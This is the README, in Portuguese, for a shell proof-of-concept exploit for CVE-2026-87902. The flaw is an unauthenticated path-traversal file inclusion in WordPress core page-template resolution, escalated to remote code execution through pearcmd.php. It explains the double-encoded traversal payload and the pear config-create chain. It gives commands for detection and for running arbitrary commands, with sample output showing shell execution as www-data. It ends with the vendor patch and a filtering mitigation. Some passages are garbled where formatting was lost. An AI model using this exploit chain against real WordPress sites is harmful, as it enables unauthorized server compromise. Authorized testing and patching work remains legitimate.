PoC em Shell para CVE-2026-87902, um LFI não autenticado no núcleo do WordPress via resolução de page-template que encadeia para RCE através do pearcmd.php.
| Componente | Núcleo do WordPress (wp-includes/template.php) |
| Tipo | CWE-98 — Inclusão de ficheiro PHP (LFI → RCE) |
| Afetado | WordPress < 7.1.2 (ramo 7.0 corrigido em 7.0.6; backports 6.x dependentes do ramo) |
| Corrigido | 7.1.2 / 7.0.6 |
| CVE | CVE-2026-87902 — CVSS 3.1 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| PoC | poc.sh |
get_page_template() adiciona page-{urldecode(pagename)}.php à hierarquia de modelos de página quando
a variável de consulta pagename contém caracteres codificados em percentagem, e locate_template()
resolve o candidato com file_exists() / require sem validar que o caminho permanece
dentro do tema ativo. Um atacante não autenticado pode, portanto, incluir e executar um ficheiro
.php local legível à sua escolha fora do tema ativo.
Pré-condições:
< 7.1.2.page- (por exemplo, o oficial
Twenty Fourteen inclui page-templates/). O nome do modelo é sempre prefixado com page-,
pelo que o primeiro componente do caminho tem de existir.O payload é codificado duas vezes para que sanitize_title_for_query() preserve os octetos %2e/%2f;
urldecode() dentro de get_page_template() reconstrói então ../ no momento da resolução do modelo.
Se o servidor também tiver um pearcmd.php acessível e register_argc_argv = On (o padrão na
imagem oficial do PHP), a cadeia escala para execução remota de código: a query string
torna-se argv da CLI através de separadores +, pear config-create escreve um ficheiro .php
controlado pelo atacante, e a mesma LFI inclui-o.
# Interactive menu (recommended for a quick start)
./poc.sh
# 1) Detect the LFI (read-only)
./poc.sh check --target https://example.com
# 2) Detect the LFI and test the RCE preconditions (self-deleting payload)
./poc.sh check-rce --target https://example.com --authorized
# 3) Execute a command through the chain (self-deleting payload)
./poc.sh rce --target https://example.com --authorized --cmd "id;hostname"
Opções: --page-id N, --ups N, --pearcmd PATH, --timeout N. --authorized (ou
VDP_AUTHORIZED=1) é obrigatório para qualquer modo que possa escrever quando o alvo não é localhost.
check)== CVE-2026-87902 PoC (check) ==
target: https://example.com
[1] Discovering a public page ID
[info] page_id: 17
[info] baseline: POST /?page_id=17 -> 52377 bytes
[2] Testing the LFI (read-only include of wp-includes/version.php)
[PASS] VULNERABLE: included wp-includes/version.php from outside the theme (0-byte body vs 52377-byte page)
[info] theme directory: page-templates/ traversal depth to webroot: 4
[info] second file confirmed: wp-admin/install.php executed (static string returned)
== RESULT: VULNERABLE to CVE-2026-87902 (LFI confirmed) ==
check-rce / rce)[3] Testing the LFI-to-RCE chain (self-deleting payload)
[PASS] pearcmd.php executed via the LFI (usr/local/lib/php/pearcmd, root depth 7)
[PASS] RCE CONFIRMED: command output returned (uid/gid present)
[info] payload self-deleted (cleanup verified)
[4] Executing command: id;hostname;whoami
> uid=33(www-data) gid=33(www-data) groups=33(www-data)
> 4119cb19757f
> www-data
Se a LFI for confirmada mas o PEAR estiver ausente (ou register_argc_argv estiver Off), o script reporta
a pré-condição claramente e sai sem escrever nada (exit 3).
page-* candidato e profundidade de travessia, pedir
page-<dir>/../../…/wp-includes/version.php através do parâmetro pagename
(POST, corpo vazio — necessário porque o WordPress faz canonical-redirect de GET/HEAD primeiro).200 com um corpo de 0 bytes (vs a linha de base da página de vários KB) prova a inclusão.pear config-create através da LFI com um payload autoeliminável, e depois
incluir o ficheiro escrito com um comando fornecido no pedido.Correção do fornecedor em 7.1.2 (wp-includes/template.php):
- if ( $pagename_decoded !== $pagename ) {
+ if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
mais uma verificação de contenção com realpath() em locate_template()
(_wp_is_template_path_allowed()). wordpress-7.0.6 contém a correção idêntica ao byte.
pagename que contenham sequências de travessia (.., %2e%2e,
%252e%252e) em todos os métodos HTTP, ou remover a pré-condição do diretório de tema page-*.Apenas para testes de segurança autorizados. Os modos RCE usam um payload autoeliminável e nunca escrevem nada além do seu próprio ficheiro marcador temporário, mas ainda executam comandos no alvo — execute-os apenas onde tiver permissão explícita.